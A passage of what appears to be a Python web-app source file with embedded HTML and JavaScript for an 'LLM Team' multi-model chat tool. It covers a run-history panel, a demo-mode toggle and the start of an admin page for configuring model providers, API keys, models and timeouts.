if (isArchived && historyRuns.length > 0) {
|
|
toggleBar += '<button class="hp-btn" style="border-color:rgba(74,222,128,0.3);color:var(--green);font-size:9px" onclick="bulkRestore()">Restore All</button>';
|
|
}
|
|
toggleBar += '</div>';
|
|
|
|
if (!historyRuns.length) {
|
|
el.innerHTML = toggleBar + '<div style="text-align:center;padding:40px;color:var(--text2);font-family:JetBrains Mono,monospace;font-size:11px">' + (isArchived ? 'No archived runs.' : 'No active runs. Run a team to see history here.') + '</div>';
|
|
return;
|
|
}
|
|
el.innerHTML = toggleBar + '<div class="hp-list">' + historyRuns.map(function(r) {
|
|
var d = new Date(r.created_at);
|
|
var time = d.toLocaleDateString() + ' ' + d.toLocaleTimeString([], {hour:'2-digit',minute:'2-digit'});
|
|
var models = (r.models_used || []).length;
|
|
var prompt = (r.prompt || '').substring(0, 80);
|
|
return '<div class="hp-item" onclick="viewRun(' + r.id + ')">'
|
|
+ '<div class="hp-mode">' + r.mode + '</div>'
|
|
+ '<div class="hp-prompt">' + escapeHtml(prompt) + '</div>'
|
|
+ '<div class="hp-meta"><span>' + time + '</span><span>' + models + ' model' + (models!==1?'s':'') + '</span></div>'
|
|
+ '</div>';
|
|
}).join('') + '</div>';
|
|
}
|
|
|
|
async function viewRun(id) {
|
|
const r = await fetch('/api/runs/' + id);
|
|
const run = await r.json();
|
|
if (run.error) return;
|
|
const el = document.getElementById('hp-content');
|
|
const responses = run.responses || [];
|
|
let html = '<div class="hp-detail">';
|
|
html += `<button class="hp-back" onclick="renderHistoryList()">← Back to list</button>`;
|
|
html += `<div class="hp-mode" style="font-size:10px;text-transform:uppercase;letter-spacing:1px;color:var(--accent2);font-weight:600;margin-bottom:4px">${run.mode}</div>`;
|
|
html += `<div style="font-size:13px;margin-bottom:8px">${escapeHtml(run.prompt)}</div>`;
|
|
html += `<div class="hp-actions">`;
|
|
html += `<button class="hp-btn" onclick="rerunFromHistory(${id})">Re-run</button>`;
|
|
var isArch = run.archived;
|
|
if (isArch) {
|
|
html += `<button class="hp-btn" style="border-color:rgba(74,222,128,0.3);color:var(--green)" onclick="restoreRun(${id})">Restore</button>`;
|
|
} else {
|
|
html += `<button class="hp-btn" style="border-color:rgba(217,70,239,0.3);color:#d946ef" onclick="archiveRun(${id})">Archive</button>`;
|
|
}
|
|
html += `<button class="hp-btn hp-btn-del" onclick="deleteRun(${id})">Delete</button>`;
|
|
html += `</div>`;
|
|
responses.forEach((resp, ri) => {
|
|
const mi = availableModels.findIndex(m => m.name === resp.model);
|
|
const color = COLORS[(mi >= 0 ? mi : 0) % COLORS.length];
|
|
const dn = mi >= 0 ? (availableModels[mi].display_name || resp.model) : resp.model;
|
|
const hid = 'hist-resp-' + id + '-' + ri;
|
|
html += `<div class="hp-resp" data-model="${resp.model}" data-role="${resp.role||''}" data-display-name="${dn}">
|
|
<div class="hp-resp-header" style="cursor:pointer" onclick="openRepipe('${hid}')"><div style="width:6px;height:6px;border-radius:50%;background:${color}"></div>${dn}${resp.role ? ' <span style="color:var(--text2);font-weight:400">'+resp.role+'</span>' : ''}</div>
|
|
<div class="hp-resp-body" id="${hid}">${escapeHtml(resp.text)}</div>
|
|
<div class="card-actions"><button class="card-act" onclick="copyCard('${hid}',this)">Copy</button><button class="card-act" onclick="useAsPrompt('${hid}');toggleHistory()">Use as Prompt</button><button class="card-act" onclick="openRepipe('${hid}')">Iterate</button></div>
|
|
</div>`;
|
|
});
|
|
html += '</div>';
|
|
el.innerHTML = html;
|
|
}
|
|
|
|
async function rerunFromHistory(id) {
|
|
const r = await fetch('/api/runs/' + id);
|
|
const run = await r.json();
|
|
if (!run.config) return;
|
|
document.getElementById('prompt').value = run.prompt || '';
|
|
if (run.mode) setMode(run.mode);
|
|
toggleHistory();
|
|
}
|
|
|
|
async function archiveRun(id) {
|
|
await fetch('/api/runs/' + id + '/archive', {method: 'POST'});
|
|
await loadHistory();
|
|
}
|
|
|
|
async function restoreRun(id) {
|
|
await fetch('/api/runs/' + id + '/restore', {method: 'POST'});
|
|
await loadHistory();
|
|
}
|
|
|
|
async function bulkArchive() {
|
|
if (!confirm('Archive all ' + historyRuns.length + ' active runs?')) return;
|
|
var ids = historyRuns.map(function(r) { return r.id; });
|
|
await fetch('/api/runs/bulk-archive', {method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({action: 'archive', ids: ids})});
|
|
await loadHistory();
|
|
}
|
|
|
|
async function bulkRestore() {
|
|
if (!confirm('Restore all ' + historyRuns.length + ' archived runs?')) return;
|
|
var ids = historyRuns.map(function(r) { return r.id; });
|
|
await fetch('/api/runs/bulk-archive', {method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({action: 'restore', ids: ids})});
|
|
await loadHistory();
|
|
}
|
|
|
|
async function deleteRun(id) {
|
|
await fetch('/api/runs/' + id, {method: 'DELETE'});
|
|
await loadHistory();
|
|
}
|
|
|
|
// ─── DEMO MODE ───────────────────────────────
|
|
async function checkDemo() {
|
|
try {
|
|
const r = await fetch('/api/demo/status');
|
|
const d = await r.json();
|
|
updateDemoUI(d.active);
|
|
} catch(e) {}
|
|
}
|
|
|
|
function updateDemoUI(active) {
|
|
const btn = document.getElementById('demo-toggle');
|
|
const banner = document.getElementById('demo-banner');
|
|
if (btn) {
|
|
btn.style.display = '';
|
|
btn.textContent = active ? 'Demo ON' : 'Demo';
|
|
btn.style.color = active ? '#22c55e' : 'var(--orange)';
|
|
btn.style.borderColor = active ? 'rgba(34,197,94,0.4)' : 'rgba(245,158,11,0.3)';
|
|
}
|
|
if (active) {
|
|
if (!banner) {
|
|
const b = document.createElement('div');
|
|
b.id = 'demo-banner';
|
|
b.style.cssText = 'position:fixed;top:0;left:0;right:0;background:linear-gradient(90deg,rgba(34,197,94,0.08),rgba(34,197,94,0.15),rgba(34,197,94,0.08));border-bottom:1px solid rgba(34,197,94,0.25);color:#22c55e;text-align:center;font-size:12px;padding:6px;z-index:50;font-weight:600;letter-spacing:1px';
|
|
b.textContent = 'DEMO MODE';
|
|
document.body.prepend(b);
|
|
}
|
|
} else if (banner) {
|
|
banner.remove();
|
|
}
|
|
}
|
|
|
|
async function toggleDemo() {
|
|
const r = await fetch('/api/demo/toggle', {method:'POST'});
|
|
const d = await r.json();
|
|
if (d.error) return;
|
|
updateDemoUI(d.active);
|
|
}
|
|
|
|
loadModels();
|
|
renderSamplePrompts();
|
|
checkDemo();
|
|
|
|
// Background grid animation
|
|
!function(){const c=document.getElementById('bg-grid');if(!c)return;const x=c.getContext('2d');function resize(){c.width=window.innerWidth;c.height=window.innerHeight}resize();window.addEventListener('resize',resize);let t=0;function draw(){x.clearRect(0,0,c.width,c.height);const s=50,ox=(t*0.2)%s,oy=(t*0.1)%s;x.fillStyle='rgba(226,181,90,0.025)';for(let gx=-s+ox;gx<c.width+s;gx+=s){for(let gy=-s+oy;gy<c.height+s;gy+=s){x.beginPath();x.arc(gx,gy,0.7,0,Math.PI*2);x.fill()}}if(Math.random()>0.985){const ly=Math.random()*c.height;x.strokeStyle='rgba(226,181,90,0.012)';x.lineWidth=1;x.beginPath();x.moveTo(0,ly);x.lineTo(c.width,ly);x.stroke()}if(Math.random()>0.995){const lx=Math.random()*c.width;x.strokeStyle='rgba(226,181,90,0.008)';x.lineWidth=40;x.beginPath();x.moveTo(lx,0);x.lineTo(lx,c.height);x.stroke()}t++;requestAnimationFrame(draw)}draw()}();
|
|
</script>
|
|
<div id="repipe-overlay" class="repipe-overlay" onclick="if(event.target===this)closeRepipe()">
|
|
<div class="repipe-modal">
|
|
<div class="repipe-header">
|
|
<h3 id="repipe-title">Response</h3>
|
|
<button class="repipe-close" onclick="closeRepipe()">×</button>
|
|
</div>
|
|
<div class="repipe-body">
|
|
<div class="repipe-text" id="repipe-text"></div>
|
|
<div class="repipe-actions">
|
|
<button class="repipe-btn" onclick="repipeCopy()">Copy to Clipboard</button>
|
|
<button class="repipe-btn" onclick="repipeUseAsPrompt()">Replace Prompt</button>
|
|
<button class="repipe-btn" onclick="repipeAppendToPrompt()">Append to Prompt</button>
|
|
</div>
|
|
<div class="repipe-section">Re-pipe into mode</div>
|
|
<div class="repipe-modes" id="repipe-modes"></div>
|
|
<div class="repipe-actions" style="margin-top:10px">
|
|
<button class="repipe-btn primary" onclick="repipeRunNow()">Run Now</button>
|
|
<button class="repipe-btn" onclick="repipeRunInMode()">Load & Configure</button>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
<div id="history-overlay" class="history-overlay" onclick="toggleHistory()"></div>
|
|
<div id="history-panel" class="history-panel">
|
|
<div class="hp-header"><h2>History</h2><button class="hp-close" onclick="toggleHistory()">×</button></div>
|
|
<div id="hp-content"></div>
|
|
</div>
|
|
</body>
|
|
</html>
|
|
"""
|
|
|
|
ADMIN_HTML = r"""
|
|
<!DOCTYPE html>
|
|
<html lang="en">
|
|
<head>
|
|
<meta charset="UTF-8">
|
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
|
<title>LLM Team - Admin</title>
|
|
<link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;600;700&family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
|
|
<style>
|
|
:root {
|
|
--bg: #08090c; --surface: rgba(14,16,22,0.82); --surface2: rgba(20,22,30,0.7); --border: #2a2d35;
|
|
--text: #e8e6e3; --text2: #7a7872; --accent: #e2b55a; --accent2: #f0cc74;
|
|
--green: #4ade80; --orange: #f59e0b; --red: #e05252; --blue: #5b9cf5;
|
|
--glow: rgba(226,181,90,0.06);
|
|
}
|
|
* { box-sizing: border-box; margin: 0; padding: 0; }
|
|
body { font-family: 'Inter', sans-serif; background: var(--bg); color: var(--text); min-height: 100vh; overflow-x: hidden; }
|
|
canvas#bg-grid { position: fixed; inset: 0; z-index: 0; pointer-events: none; }
|
|
.scanlines { position: fixed; inset: 0; z-index: 1; pointer-events: none; background: repeating-linear-gradient(0deg, transparent, transparent 2px, rgba(0,0,0,0.02) 2px, rgba(0,0,0,0.02) 4px); }
|
|
.container { max-width: 1100px; margin: 0 auto; padding: 16px 28px; position: relative; z-index: 10; }
|
|
header { display: flex; align-items: center; gap: 14px; padding: 18px 0; border-bottom: 2px solid var(--border); margin-bottom: 22px; }
|
|
header h1 { font-family: 'JetBrains Mono', monospace; font-size: 20px; font-weight: 700; letter-spacing: -0.5px; }
|
|
header h1 span { color: var(--accent); }
|
|
.tabs { display: flex; gap: 4px; margin-bottom: 20px; flex-wrap: wrap; }
|
|
.tab { padding: 8px 16px; background: transparent; border: 2px solid var(--border); border-radius: 2px; color: var(--text2); cursor: pointer; font-size: 11px; font-weight: 600; transition: all 0.15s; font-family: 'JetBrains Mono', monospace; text-transform: uppercase; letter-spacing: 0.5px; }
|
|
.tab:hover { border-color: var(--accent); color: var(--text); }
|
|
.tab.active { border-color: var(--accent); background: var(--glow); color: var(--accent); }
|
|
.tab-content { display: none; }
|
|
.tab-content.active { display: block; }
|
|
.card { background: var(--surface); border: 2px solid var(--border); border-radius: 2px; padding: 20px; margin-bottom: 12px; backdrop-filter: blur(16px); position: relative; }
|
|
.card::before { content: ''; position: absolute; top: -1px; left: 16px; right: 16px; height: 1px; background: linear-gradient(90deg, transparent, rgba(226,181,90,0.15), transparent); }
|
|
.card h3 { font-family: 'JetBrains Mono', monospace; font-size: 13px; font-weight: 700; margin-bottom: 14px; display: flex; align-items: center; gap: 8px; text-transform: uppercase; letter-spacing: 0.5px; }
|
|
.card h3 .prov-dot { width: 8px; height: 8px; border-radius: 2px; }
|
|
.row { display: flex; gap: 10px; align-items: center; margin-bottom: 10px; font-size: 13px; }
|
|
.row label { width: 100px; color: var(--text2); flex-shrink: 0; font-weight: 600; font-family: 'JetBrains Mono', monospace; font-size: 10px; text-transform: uppercase; letter-spacing: 0.5px; }
|
|
.row input, .row select { flex: 1; background: rgba(0,0,0,0.4); border: 2px solid var(--border); color: var(--text); border-radius: 2px; padding: 8px 10px; font-size: 13px; }
|
|
.row input:focus, .row select:focus { outline: none; border-color: var(--accent); box-shadow: 0 0 0 1px var(--accent); }
|
|
.toggle { position: relative; width: 40px; height: 22px; flex-shrink: 0; }
|
|
.toggle input { opacity: 0; width: 0; height: 0; }
|
|
.toggle .slider { position: absolute; inset: 0; background: var(--border); border-radius: 2px; cursor: pointer; transition: 0.2s; }
|
|
.toggle .slider::before { content: ''; position: absolute; width: 16px; height: 16px; left: 3px; bottom: 3px; background: var(--text2); border-radius: 2px; transition: 0.2s; }
|
|
.toggle input:checked + .slider { background: var(--accent); }
|
|
.toggle input:checked + .slider::before { transform: translateX(18px); background: #08090c; }
|
|
.btn { padding: 7px 14px; border: 2px solid var(--border); border-radius: 2px; background: transparent; color: var(--text); cursor: pointer; font-size: 10px; font-weight: 700; transition: all 0.15s; font-family: 'JetBrains Mono', monospace; text-transform: uppercase; letter-spacing: 0.5px; }
|
|
.btn:hover { border-color: var(--accent); color: var(--accent); }
|
|
.btn-primary { background: var(--accent); border-color: var(--accent); color: #08090c; }
|
|
.btn-primary:hover { background: var(--accent2); }
|
|
.btn-sm { padding: 4px 10px; font-size: 9px; }
|
|
.btn-g,.btn-green { border-color: rgba(74,222,128,0.3); color: var(--green); }
|
|
.btn-g:hover,.btn-green:hover { border-color: var(--green); background: rgba(74,222,128,0.06); }
|
|
.btn-r,.btn-red { border-color: rgba(224,82,82,0.3); color: var(--red); }
|
|
.btn-r:hover,.btn-red:hover { border-color: var(--red); background: rgba(224,82,82,0.06); }
|
|
.toast { position: fixed; top: 20px; right: 20px; padding: 10px 18px; border-radius: 2px; font-size: 11px; z-index: 100; animation: fadeIn 0.2s; font-family: 'JetBrains Mono', monospace; text-transform: uppercase; letter-spacing: 0.5px; border-width: 2px; border-style: solid; backdrop-filter: blur(16px); }
|
|
.toast.ok { background: rgba(74,222,128,0.1); border-color: var(--green); color: var(--green); box-shadow: 0 0 16px rgba(74,222,128,0.1); }
|
|
.toast.err { background: rgba(224,82,82,0.1); border-color: var(--red); color: var(--red); box-shadow: 0 0 16px rgba(224,82,82,0.1); }
|
|
.toast .toast-detail { font-size: 9px; opacity: 0.7; margin-top: 2px; text-transform: none; letter-spacing: 0; }
|
|
@keyframes fadeIn { from { opacity: 0; transform: translateY(-10px); } to { opacity: 1; } }
|
|
.model-row { display: flex; align-items: center; gap: 10px; padding: 8px 10px; background: rgba(0,0,0,0.25); border: 2px solid var(--border); border-radius: 2px; margin-bottom: 4px; font-size: 13px; }
|
|
.model-row .name { flex: 1; font-weight: 500; }
|
|
.model-row .meta { color: var(--text2); font-size: 10px; font-family: 'JetBrains Mono', monospace; }
|
|
.search-input { width: 100%; padding: 8px 12px; background: rgba(0,0,0,0.4); border: 2px solid var(--border); border-radius: 2px; color: var(--text); font-size: 13px; margin-bottom: 12px; }
|
|
.search-input:focus { outline: none; border-color: var(--accent); box-shadow: 0 0 0 1px var(--accent); }
|
|
.or-list { max-height: 500px; overflow-y: auto; }
|
|
.or-list::-webkit-scrollbar { width: 3px; }
|
|
.or-list::-webkit-scrollbar-thumb { background: rgba(226,181,90,0.15); border-radius: 0; }
|
|
.timeout-row { display: grid; grid-template-columns: 1fr 100px; gap: 10px; align-items: center; padding: 8px 0; font-size: 13px; border-bottom: 1px solid var(--border); }
|
|
.timeout-row:last-child { border: none; }
|
|
.timeout-row input { width: 80px; background: rgba(0,0,0,0.4); border: 2px solid var(--border); color: var(--text); border-radius: 2px; padding: 4px 8px; font-size: 12px; text-align: center; font-family: 'JetBrains Mono', monospace; }
|
|
.section-title { font-family: 'JetBrains Mono', monospace; font-size: 9px; text-transform: uppercase; letter-spacing: 2px; color: var(--accent); margin: 16px 0 10px; font-weight: 600; }
|
|
.empty { text-align: center; padding: 30px; color: var(--text2); font-size: 12px; font-family: 'JetBrains Mono', monospace; }
|
|
.nav-link { color: var(--text2); text-decoration: none; font-size: 10px; font-family: 'JetBrains Mono', monospace; text-transform: uppercase; letter-spacing: 0.5px; padding: 5px 10px; border: 2px solid var(--border); border-radius: 2px; }
|
|
.nav-link:hover { border-color: var(--accent); color: var(--accent); }
|
|
.nav-link.green { color: var(--green); border-color: rgba(74,222,128,0.2); }
|
|
.nav-link.orange { color: var(--orange); border-color: rgba(245,158,11,0.2); }
|
|
@media (max-width: 768px) { .tabs { gap: 3px; } .tab { padding: 6px 10px; font-size: 9px; } .card { padding: 14px; } }
|
|
</style>
|
|
</head>
|
|
<body>
|
|
<canvas id="bg-grid"></canvas>
|
|
<div class="scanlines"></div>
|
|
<div class="container">
|
|
<header>
|
|
<h1><span>LLM</span> Team Admin</h1>
|
|
<nav style="margin-left:auto;display:flex;gap:6px;align-items:center">
|
|
<a class="nav-link" href="/">Team</a>
|
|
<a class="nav-link green" href="/lab">Lab</a>
|
|
<a class="nav-link orange" href="/logs">Logs</a>
|
|
<a class="nav-link" href="/admin/monitor">Monitor</a>
|
|
<span style="width:2px;height:16px;background:var(--border);margin:0 2px"></span>
|
|
<a class="nav-link" href="/logout" style="opacity:0.4">Logout</a>
|
|
</nav>
|
|
</header>
|
|
<div class="tabs">
|
|
<div class="tab active" onclick="switchTab('providers')">Providers</div>
|
|
<div class="tab" onclick="switchTab('models')">Models</div>
|
|
<div class="tab" onclick="switchTab('openrouter')">OpenRouter</div>
|
|
<div class="tab" onclick="switchTab('timeouts')">Timeouts</div>
|
|
<div class="tab" onclick="switchTab('security')">Security</div>
|
|
</div>
|
|
|
|
<!-- PROVIDERS TAB -->
|
|
<div id="tab-providers" class="tab-content active">
|
|
<div class="card" id="prov-ollama">
|
|
<h3><div class="prov-dot" style="background:var(--green)"></div> Ollama (Local)
|
|
<label class="toggle" style="margin-left:auto"><input type="checkbox" id="ollama-enabled" checked onchange="updateProvider('ollama')"><span class="slider"></span></label></h3>
|
|
<div class="row"><label>Base URL</label><input id="ollama-url" value="http://localhost:11434" onchange="updateProvider('ollama')"></div>
|
|
<div class="row"><label>Timeout (s)</label><input id="ollama-timeout" type="number" value="300" style="width:80px;flex:none" onchange="updateProvider('ollama')">
|
|
<button class="btn" onclick="testProvider('ollama')">Test</button></div>
|
|
</div>
|
|
<div class="card" id="prov-openrouter">
|
|
<h3><div class="prov-dot" style="background:var(--blue)"></div> OpenRouter
|
|
<label class="toggle" style="margin-left:auto"><input type="checkbox" id="openrouter-enabled" onchange="updateProvider('openrouter')"><span class="slider"></span></label></h3>
|
|
<div class="row"><label>API Key</label><input id="openrouter-key" type="password" placeholder="sk-or-..." onchange="updateProvider('openrouter')">
|
|
<button class="btn btn-sm" onclick="toggleVis('openrouter-key')">Show</button></div>
|
|
<div class="row"><label>Base URL</label><input id="openrouter-url" value="https://openrouter.ai/api/v1" onchange="updateProvider('openrouter')"></div>
|
|
<div class="row"><label>Timeout (s)</label><input id="openrouter-timeout" type="number" value="120" style="width:80px;flex:none" onchange="updateProvider('openrouter')">
|
|
<button class="btn" onclick="testProvider('openrouter')">Test</button></div>
|
|
</div>
|
|
<div class="card" id="prov-openai">
|
|
<h3><div class="prov-dot" style="background:var(--accent2)"></div> OpenAI
|
|
<label class="toggle" style="margin-left:auto"><input type="checkbox" id="openai-enabled" onchange="updateProvider('openai')"><span class="slider"></span></label></h3>
|
|
<div class="row"><label>API Key</label><input id="openai-key" type="password" placeholder="sk-..." onchange="updateProvider('openai')">
|
|
<button class="btn btn-sm" onclick="toggleVis('openai-key')">Show</button></div>
|
|
<div class="row"><label>Base URL</label><input id="openai-url" value="https://api.openai.com/v1" onchange="updateProvider('openai')"></div>
|
|
<div class="row"><label>Timeout (s)</label><input id="openai-timeout" type="number" value="120" style="width:80px;flex:none" onchange="updateProvider('openai')">
|
|
<button class="btn" onclick="testProvider('openai')">Test</button></div>
|
|
</div>
|
|
<div class="card" id="prov-anthropic">
|
|
<h3><div class="prov-dot" style="background:#ec4899"></div> Anthropic
|
|
<label class="toggle" style="margin-left:auto"><input type="checkbox" id="anthropic-enabled" onchange="updateProvider('anthropic')"><span class="slider"></span></label></h3>
|
|
<div class="row"><label>API Key</label><input id="anthropic-key" type="password" placeholder="sk-ant-..." onchange="updateProvider('anthropic')">
|
|
<button class="btn btn-sm" onclick="toggleVis('anthropic-key')">Show</button></div>
|
|
<div class="row"><label>Base URL</label><input id="anthropic-url" value="https://api.anthropic.com/v1" onchange="updateProvider('anthropic')"></div>
|
|
<div class="row"><label>Timeout (s)</label><input id="anthropic-timeout" type="number" value="120" style="width:80px;flex:none" onchange="updateProvider('anthropic')">
|
|
<button class="btn" onclick="testProvider('anthropic')">Test</button></div>
|
|
</div>
|
|
</div>
|
|
|
|
<!-- MODELS TAB -->
|
|
<div id="tab-models" class="tab-content">
|
|
<div class="card">
|
|
<h3>Local Models (Ollama)</h3>
|
|
<div id="ollama-model-list"><div class="empty">Loading...</div></div>
|
|
</div>
|
|
<div class="card">
|
|
<h3>Cloud Models <button class="btn btn-sm btn-primary" style="margin-left:auto" onclick="showAddCloud()">+ Add Model</button></h3>
|
|
<div id="cloud-model-list"><div class="empty">No cloud models configured.</div></div>
|
|
</div>
|
|
<div id="add-cloud-modal" class="card" style="display:none;border-color:var(--accent)">
|
|
<h3>Add Cloud Model</h3>
|
|
<div class="row"><label>Provider</label><select id="add-cloud-prov"><option value="openrouter">OpenRouter</option><option value="openai">OpenAI</option><option value="anthropic">Anthropic</option></select></div>
|
|
<div class="row"><label>Model ID</label><input id="add-cloud-id" placeholder="e.g. meta-llama/llama-3-8b-instruct:free"></div>
|
|
<div class="row"><label>Display Name</label><input id="add-cloud-name" placeholder="e.g. Llama 3 8B Free"></div>
|
|
<div class="row" style="justify-content:flex-end;gap:6px">
|
|
<button class="btn" onclick="hideAddCloud()">Cancel</button>
|
|
<button class="btn btn-primary" onclick="addCloudModel()">Add</button>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
|
|
<!-- OPENROUTER TAB -->
|
|
<div id="tab-openrouter" class="tab-content">
|
|
<div class="card">
|
|
<h3>Free Models on OpenRouter <button class="btn btn-primary" style="margin-left:auto" onclick="fetchORModels()">Fetch Models</button></h3>
|
|
<input class="search-input" id="or-search" placeholder="Search models..." oninput="filterOR()">
|
|
<div class="or-list" id="or-model-list"><div class="empty">Click "Fetch Models" to load the list.</div></div>
|
|
</div>
|
|
</div>
|
|
|
|
<!-- TIMEOUTS TAB -->
|
|
<div id="tab-timeouts" class="tab-content">
|
|
<div class="card">
|
|
<h3>Global Default</h3>
|
|
<div class="row"><label>Timeout (s)</label><input id="global-timeout" type="number" value="300" style="width:100px;flex:none" onchange="saveTimeouts()"></div>
|
|
</div>
|
|
<div class="card">
|
|
<h3>Per-Model Overrides</h3>
|
|
<div id="timeout-list"><div class="empty">Loading models...</div></div>
|
|
</div>
|
|
</div>
|
|
|
|
<!-- DEMO & SECURITY TAB -->
|
|
<div id="tab-security" class="tab-content">
|
|
<div class="card">
|
|
<h3>Demo Mode
|
|
<button class="btn" id="admin-demo-btn" style="margin-left:auto" onclick="adminToggleDemo()">Enable Demo</button>
|
|
</h3>
|
|
<p style="font-size:12px;color:var(--text2);margin-bottom:10px">When active, the public can view and use the Team UI, Lab, and all modes without logging in. Admin settings (API keys, config saves) are read-only for non-admins.</p>
|
|
<div id="demo-status-admin" style="font-size:13px">Status: <strong style="color:var(--text2)">Off</strong></div>
|
|
</div>
|
|
<div class="card">
|
|
<h3>IP Allowlist <button class="btn" style="margin-left:auto" onclick="addAllowlistIP()">+ Add IP</button></h3>
|
|
<p style="font-size:12px;color:var(--text2);margin-bottom:10px">These IPs are never rate-limited. Your local network (192.168.1.*) is always allowed.</p>
|
|
<div id="allowlist"></div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
|
|
<script>
|
|
let config = {};
|
|
let orModels = [];
|
|
|
|
async function loadConfig() {
|
|
const r = await fetch('/api/admin/config');
|
|
config = await r.json();
|
|
applyConfig();
|
|
}
|
|
|
|
function applyConfig() {
|
|
const p = config.providers || {};
|
|
for (const [name, prov] of Object.entries(p)) {
|
|
const en = document.getElementById(name+'-enabled');
|
|
if (en) en.checked = prov.enabled;
|
|
const url = document.getElementById(name+'-url');
|
|
if (url) url.value = prov.base_url || '';
|
|
const to = document.getElementById(name+'-timeout');
|
|
if (to) to.value = prov.timeout || 120;
|
|
const key = document.getElementById(name+'-key');
|
|
if (key && prov.api_key_set) key.placeholder = '••••••• (key set)';
|
|
}
|
|
document.getElementById('global-timeout').value = (config.timeouts||{}).global || 300;
|
|
loadOllamaModels();
|
|
renderCloudModels();
|
|
renderTimeouts();
|
|
}
|
|
|
|
async function loadOllamaModels() {
|
|
const r = await fetch('/api/admin/ollama-models');
|
|
const data = await r.json();
|
|
const el = document.getElementById('ollama-model-list');
|
|
if (!data.models.length) { el.innerHTML = '<div class="empty">No Ollama models found.</div>'; return; }
|
|
el.innerHTML = data.models.map(m => `
|
|
<div class="model-row">
|
|
<label class="toggle"><input type="checkbox" ${m.disabled?'':'checked'} onchange="toggleOllama('${m.name}',this.checked)"><span class="slider"></span></label>
|
|
<span class="name">${m.name}</span>
|
|
<span class="meta">${m.size}</span>
|
|
</div>`).join('');
|
|
}
|
|
|
|
function renderCloudModels() {
|
|
const el = document.getElementById('cloud-model-list');
|
|
const cms = config.cloud_models || [];
|
|
if (!cms.length) { el.innerHTML = '<div class="empty">No cloud models configured. Add some from the OpenRouter tab or manually.</div>'; return; }
|
|
el.innerHTML = cms.map((m,i) => `
|
|
<div class="model-row">
|
|
<label class="toggle"><input type="checkbox" ${m.enabled!==false?'checked':''} onchange="toggleCloud(${i},this.checked)"><span class="slider"></span></label>
|
|
<span class="name">${m.display_name || m.id}</span>
|
|
<span class="meta">${m.id.split('::')[0]}</span>
|
|
<button class="btn btn-sm btn-red" onclick="removeCloud(${i})">Remove</button>
|
|
</div>`).join('');
|
|
}
|
|
|
|
function renderTimeouts() {
|
|
const el = document.getElementById('timeout-list');
|
|
// merge all known models
|
|
const models = [];
|
|
const cms = config.cloud_models || [];
|
|
// we'll load from the combined /api/models
|
|
fetch('/api/models').then(r=>r.json()).then(data => {
|
|
const per = (config.timeouts||{}).per_model || {};
|
|
if (!data.models.length) { el.innerHTML = '<div class="empty">No models available.</div>'; return; }
|
|
el.innerHTML = data.models.map(m => `
|
|
<div class="timeout-row">
|
|
<span>${m.display_name || m.name} <span style="color:var(--text2);font-size:10px">(${m.provider_label})</span></span>
|
|
<input type="number" value="${per[m.name] || ''}" placeholder="${(config.timeouts||{}).global||300}" onchange="setModelTimeout('${m.name}',this.value)">
|
|
</div>`).join('');
|
|
});
|
|
}
|
|
|
|
async function updateProvider(name) {
|
|
var prov = {};
|
|
var en = document.getElementById(name+'-enabled');
|
|
if (en) prov.enabled = en.checked;
|
|
var url = document.getElementById(name+'-url');
|
|
if (url) prov.base_url = url.value;
|
|
var to = document.getElementById(name+'-timeout');
|
|
if (to) prov.timeout = parseInt(to.value) || 120;
|
|
var key = document.getElementById(name+'-key');
|
|
if (key && key.value) prov.api_key = key.value;
|
|
var body = {providers: {}};
|
|
body.providers[name] = prov;
|
|
try {
|
|
var r = await fetch('/api/admin/config', {method:'POST', headers:{'Content-Type':'application/json'}, body:JSON.stringify(body)});
|
|
var d = await r.json();
|
|
if (d.ok) toast(name + ' provider saved', true, en ? (prov.enabled ? 'Enabled' : 'Disabled') : '');
|
|
else toast('Save failed: ' + (d.error || 'unknown'), false);
|
|
} catch(e) { toast('Save failed: ' + e.message, false); }
|
|
}
|
|
|
|
async function testProvider(name) {
|
|
const key = document.getElementById(name+'-key');
|
|
const body = {provider: name};
|
|
if (key && key.value) body.api_key = key.value;
|
|
const r = await fetch('/api/admin/test-provider', {method:'POST', headers:{'Content-Type':'application/json'}, body:JSON.stringify(body)});
|
|
const data = await r.json();
|
|
toast(data.message, data.ok);
|
|
}
|
|
|
|
async function toggleOllama(name, enabled) {
|
|
config.disabled_models = config.disabled_models || [];
|
|
if (enabled) {
|
|
config.disabled_models = config.disabled_models.filter(function(m) { return m !== name; });
|
|
} else {
|
|
if (!config.disabled_models.includes(name)) config.disabled_models.push(name);
|
|
}
|
|
try {
|
|
var r = await fetch('/api/admin/config', {method:'POST', headers:{'Content-Type':'application/json'},
|
|
body:JSON.stringify({disabled_models: config.disabled_models})});
|
|
var d = await r.json();
|
|
if (d.ok) toast(name + ' ' + (enabled ? 'enabled' : 'disabled'), true);
|
|
else toast('Failed to save model state', false);
|
|
} catch(e) { toast('Save error: ' + e.message, false); }
|
|
}
|
|
|
|
function toggleCloud(idx, enabled) {
|
|
config.cloud_models[idx].enabled = enabled;
|
|
saveCloudModels();
|
|
}
|
|
|
|
function removeCloud(idx) {
|
|
config.cloud_models.splice(idx, 1);
|
|
saveCloudModels();
|
|
renderCloudModels();
|
|
}
|
|
|
|
async function saveCloudModels() {
|
|
try {
|
|
var r = await fetch('/api/admin/config', {method:'POST', headers:{'Content-Type':'application/json'},
|
|
body:JSON.stringify({cloud_models: config.cloud_models})});
|
|
var d = await r.json();
|
|
if (d.ok) toast('Cloud models saved', true, (config.cloud_models||[]).length + ' models configured');
|
|
else toast('Save failed', false);
|
|
} catch(e) { toast('Save error: ' + e.message, false); }
|
|
}
|
|
|
|
function showAddCloud() { document.getElementById('add-cloud-modal').style.display = ''; }
|
|
function hideAddCloud() { document.getElementById('add-cloud-modal').style.display = 'none'; }
|
|
|
|
async function addCloudModel() {
|
|
const prov = document.getElementById('add-cloud-prov').value;
|
|
const id = document.getElementById('add-cloud-id').value.trim();
|
|
const name = document.getElementById('add-cloud-name').value.trim();
|
|
if (!id) return toast('Model ID required', false);
|
|
config.cloud_models = config.cloud_models || [];
|
|
config.cloud_models.push({id: prov+'::'+id, display_name: name || id, enabled: true});
|
|
await saveCloudModels();
|
|
renderCloudModels();
|
|
